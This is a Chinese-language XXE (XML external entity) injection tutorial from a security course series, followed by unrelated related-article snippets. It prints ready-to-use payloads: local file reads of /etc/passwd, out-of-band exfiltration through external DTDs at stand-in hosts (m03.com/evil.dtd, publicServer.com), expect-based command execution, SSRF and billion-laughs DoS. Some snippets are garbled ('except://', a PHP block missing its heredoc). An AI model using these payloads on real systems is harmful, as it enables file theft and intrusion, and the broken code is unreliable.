网络安全进阶学习第二十一课——XXE

文章目录

  • 一、XXE简介
  • 二、XXE原理
  • 三、XXE危害
  • 四、XXE如何寻找
  • 五、XXE限制条件
  • 六、XXE分类
  • 七、XXE利用
    • 1、读取任意文件
      • 1.1、有回显
      • 1.2、没有回显
    • 2、命令执行`(情况相对较少见)`
    • 3、内网探测/SSRF
    • 4、拒绝服务攻击(DDoS)
      • 4.1、内部实体
      • 4.2、参数实体
  • 八、绕过基本XXE攻击的限制
  • 九、关联链接
    • 1、XML介绍
    • 2、靶场演示


一、XXE简介

XXE(XML External Entity,XML)外部实体注入攻击。


二、XXE原理

— — 攻击者通过构造恶意的外部实体,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。XXE漏洞主要由于危险的外部实体引用并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。
在这里插入图片描述
这里是不是很像XSS注入

— — 在解析XML文档的过程中,关键字’SYSTEM’会告诉XML解析器,entityex 实体的值将从其后的URI中读取。实体entityex的值会被替换为URI(file://etc/passwd)内容值。(如下图)
在这里插入图片描述

— — 因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
— — 简单来说,攻击者强制XML解析器去访问攻击者指定的本地系统上或是远程系统上的资源内容。


三、XXE危害

  1. 导致可加载恶意外部文件、读取任意未授权文件;
  2. 恶意消耗内存进行dos攻击,
  3. 探测内网信息(如检测服务、内网端口扫描、攻击内网网站等)
  4. 命令执行,目录遍历等
  5. 有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

四、XXE如何寻找

1、POST请求
2、MIME 文件传输格式为 XML
3、请求头中 Content-type: application/xml text/xml application/json
在这里插入图片描述
4、带有非常明显的xml标签的,即自定义的标签
5、利用DNSLog来验证是否存在XXE
在这里插入图片描述
将数据包改一下:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE value [
<!ENTITY xxe SYSTEM "http://yu7bis.dnslog.cn" >
]>
<value>&xxe;</value>ps:可以修改其Content-Type为application/xml,并尝试进行XXE注入

五、XXE限制条件

网站是否开启了外部实体解析

  • 因素一:
    libxml<2.9.0 版本 默认开启了外部实体解析

  • 因素二:
    网站管理员开启了外部实体解析

  • 低版本php
    libxml<2.9.1
    设置了libxml_disable_entity_loader(禁用加载外部实体的能力)为FALSE


六、XXE分类

XXE的攻击方式分为显式攻击盲攻击两种:

  • 显式攻击是攻击者能通过正常的回显将外部实体里的内容读取出来。
  • 盲攻击即不可见的回显,可利用参数实体将本地文件内容读出来后,作为URL中的参数向其指定服务器发起请求,然后在其指定服务器的日志中读出文件的内容。

现实中存在的大多数XXE漏洞都是blind,必须采用带外通道OOB(Out-of-band)进行返回信息的记录,这里简单来说就是攻击者必须有一台具有公网ip的主机。


七、XXE利用

1、读取任意文件

1.1、有回显

下面是XML.php内容:

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY[<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

访问XML.php可以读取etc/passwd文件内容

1.2、没有回显

当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。

下面是XML.php内容:

<?php
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
?>

下面是evil.dtd内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

2、命令执行(情况相对较少见)

php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装(正常人谁会去安装这东西啊,所以命令执行的情况相对较少见)
下面是XML.php内容:

<?php
$xml = <<<EOF
<? xml version = "1.0" ?>
<!DOCTYPE ANY[<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

3、内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

4、拒绝服务攻击(DDoS)

通过创建一项递归的XML定义,在内存中生成十亿个“Ha! ”字符串,从而导致 DDos 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。

4.1、内部实体

攻击代码如下:

<!DOCTYPE data [
<!ENTITY a0 "dos"><!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" ><!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"><!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" ><!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
]>
<data>&a4;</data>

上面代码相当于有1+10+10*10+10*10*10+10*10*10*10=11111个实体引用,这里文件大小只有30kb,却超出了合法的实体引用数量上限。

4.2、参数实体

攻击代码如下:

<!DOCTYPE data SYSTEM "http://127.0.0.1/dos.dtd" [<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>

http://127.0.0.1/dos.dtd文件的内容:

<!ENTITY a0 "dos"><!ENTITY % a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" ><!ENTITY % a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"><!ENTITY % a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" ><!ENTITY % a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
<!ENTITY g "%a4;">

八、绕过基本XXE攻击的限制

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY % start "<![CDATA["><!ENTITY % goodies SYSTEM "file:///sys/power/image_size"><!ENTITY % end "]]>"><!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">%dtd;
]>
<data>&all;</data>

文件http://publicServer.com/parameterEntity_core.dtd的内容:

<!ENTITY all '%start;%goodies;%end;'>

这里是把XML语句拆成3个参数来绕过


九、关联链接

1、XML介绍

XML介绍

2、靶场演示

靶场演示


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/160052.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【漏洞复现】Fastjson_1.2.47_rce

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 文章目录 1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞检测3、漏洞验证 1.5、深度利用1、反弹Shell 说明内容漏洞编号漏洞名称Fastjson_1.2.47_远程执行漏…

React基础知识02

一、通过属性来传值&#xff08;props&#xff09; react中可以使用属性&#xff08;props&#xff09;可以传递给子组件&#xff0c;子组件可以使用这些属性值来控制其行为和呈现输出。 例子&#xff1a; // 1.1 父组件 import React, { useState } from react // 1.2引入子…

java 数据结构 ArrayList源码底层 LinkedList 底层源码 迭代器底层

文章目录 数据结构总结ArrayList源码底层LinkedList底层源码 迭代器底层 数据结构 对于数据结构我这边只告诉你右边框框里的 栈的特点:后进先出,先进后出,入栈也成为压栈,出栈也成为弹栈 栈就像一个弹夹 队列先进先出后进后出 队列像排队 链表查询满 但是增删快(相对于数组而…

Java基于springboot开发的景点旅游项目

演示视频 https://www.bilibili.com/video/BV1cj411Y7UK/?share_sourcecopy_web&vd_source11344bb73ef9b33550b8202d07ae139b 主要功能&#xff1a;用户可浏览搜索旅游景点&#xff08;分为收费和免费景点&#xff09;&#xff0c;购票&#xff08;支持多规格套餐购票&am…

Unity3D实现页面的滑动切换功能

效果展示 Unity3D实现页面的滑动切换 效果 文章目录 前言一、先上代码二、创建UI1.创建Scroll View如下图&#xff0c;并挂载该脚本&#xff1a;2.Content下创建几个Itme 总结 前言 好记性不如烂笔头&#xff01; 一、先上代码 /*******************************************…

日语动词三分类

所有的动词原形都是由う段结尾 50音图 一类动词 一类动词又称五段动词&#xff08;う段动词&#xff09; 1.结尾是う段非る的动词 日文平假名中文書くかく写探すさがす寻找勝つかつ胜利遊ぶあそぶ玩耍読むよむ阅读 2.あ段る、う段る、お段る 日文平假名中文困るこまる使为…

汇编语言(举个栗子)

汇编语言&#xff08;Assembly Language&#xff09;是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言&#xff0c;亦称为符号语言。在汇编语言中&#xff0c;用助记符代替机器指令的操作码&#xff0c;用地址符号或标号代替指令或操作数的地址。在不同…

云尘-Node1 js代码

继续做题 拿到就是基本扫一下 nmap -sP 172.25.0.0/24 nmap -sV -sS -p- -v 172.25.0.13 然后顺便fscan扫一下咯 nmap: fscan: 还以为直接getshell了 老演员了 其实只是302跳转 所以我们无视 只有一个站 直接看就行了 扫出来了两个目录 但是没办法 都是要跳转 说明还是需要…

竞赛选题 深度学习实现行人重识别 - python opencv yolo Reid

文章目录 0 前言1 课题背景2 效果展示3 行人检测4 行人重识别5 其他工具6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **基于深度学习的行人重识别算法研究与实现 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c…

【实战Flask API项目指南】之三 路由和视图函数

实战Flask API项目指南之 路由和视图函数 本系列文章将带你深入探索实战Flask API项目指南&#xff0c;通过跟随小菜的学习之旅&#xff0c;你将逐步掌握 Flask 在实际项目中的应用。让我们一起踏上这个精彩的学习之旅吧&#xff01; 前言 当小菜踏入Flask后端开发的世界时&…

Pytorch从零开始实战08

Pytorch从零开始实战——YOLOv5-C3模块实现 本系列来源于365天深度学习训练营 原作者K同学 文章目录 Pytorch从零开始实战——YOLOv5-C3模块实现环境准备数据集模型选择开始训练可视化模型预测总结 环境准备 本文基于Jupyter notebook&#xff0c;使用Python3.8&#xff0c…

ROS学习笔记(4):ROS架构和通讯机制

前提 前4篇文章以及帮助大家快速入门ROS了&#xff0c;而从第5篇开始我们会更加注重知识积累。同时我强烈建议配合B站大学的视频一起服用。 1.ROS架构三层次&#xff1a; 1.基于Linux系统的OS层&#xff1b; 2.实现ROS核心通信机制以及众多机器人开发库的中间层&#xff1b…